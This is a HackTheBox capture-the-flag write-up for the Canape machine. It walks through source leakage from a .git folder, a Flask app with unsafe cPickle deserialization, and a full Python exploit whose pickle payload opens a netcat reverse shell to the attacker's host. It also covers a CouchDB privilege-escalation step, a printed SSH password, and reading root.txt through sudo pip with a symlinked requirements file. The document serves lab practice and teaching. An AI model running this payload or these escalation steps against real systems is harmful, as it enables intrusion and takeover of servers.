Introduction
Canape is a machine on the HackTheBox.
Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated.
This article will show how to hack Canape box and get user.txt and root.txt.
Collection
First, we scan the ports. (Same with other Boxes).
We found that only http port open. So, I think that the website must has security issue.
Hack the Canape Box
Get User.txt
Open the browser, and see the website.
Emmm…. So far, have no idea what I need to do. So, let enumerate the folder.
After we enumerate the website, we found that there is a .git folder. Now, we can get the website source code by using dvcs-ripper.
Then, we analyse the Git Log. And we found the “check” has security issue.
Develop Payload
This is __init__.py file source code:
<pre>import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5 app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]] @app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html") @app.route("/") def index(): return render_template("index.html") @app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes) WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success) @app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item if __name__ == "__main__": app.run()
As you can see, there is cPickle. Its a built-in python module that allows you to serialize & deserialize objects. Inside of the check function item = cPickle.loads(data)
This means that this code has RCE security issue.
We are using the following payload.
#! /usr/bin/env python import requests, os, cPickle, re, hashlib class shell(object): def __init__(self): self.reverse_ip = "YourIPAddress" self.reverse_port = "YourPort" def __reduce__(self): return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" %(self.reverse_ip, self.reverse_port),)) character = "S'homer'\n" quote = cPickle.dumps(shell()) if re.search('<strong>Success!</strong>', requests.post('http://10.10.10.70/submit', data={"character":character, "quote":quote}).text): print 'Success' p_id = hashlib.md5(character + quote).hexdigest() print requests.post("http://10.10.10.70/check", data={"id":p_id}).text
Then, we use nc to listen local port. And use payload to get reverse shell.
Analyse Network
Now, we check netstat
There are 3 interesting ports. Port 65535, 5984 and 5986
After analysing, we can see port 65535 is for SSH. Port 5984 and 5986 is for CouchDB.
Get SSH Credential
First, we list all databases.
There are 6 databases. Then, we try to get passwords data.
However, we cannot access it. CouchDB has Remote Privilege Escalation issue. We can use this exploit. But, this database host locally. So, we have to run this exploit on the Canape server.
There are multiple ways to upload the exploit to the server. I host a simpleHTTP Server, then, download the exploit.
Then, we execute our exploit and get access to password database.
Then, we list the tables.
Finally, we got the SSH password: 0B4jyA0xtytZi7esBNGp.
Get Root.txt
Next, we need to work on priv esc.
First, check sudo and see what can we do.
Wow, we can run pip. There are two ways.
First, you can create a pip package, and this package read root.txt. I was using this way. But, after I hacked another box, I learned another way.
As you may know, pip can use -r option. -r option means that “Install from the given requirements file.” This means that it will read that file.
So, we create a soft link, the softlink is link to root.txt.
Then, we run command, and use -r option. Once we use -r option, it will read the file, and install the package. And then, we got the hash.
Summary
This box is little bit complicated, if you have no idea who to design a web exploit. This box took me around 4 hours. I spent most of time to create a pip package. However, I realised that there is an easy way. The difficulty should around 4.5/10.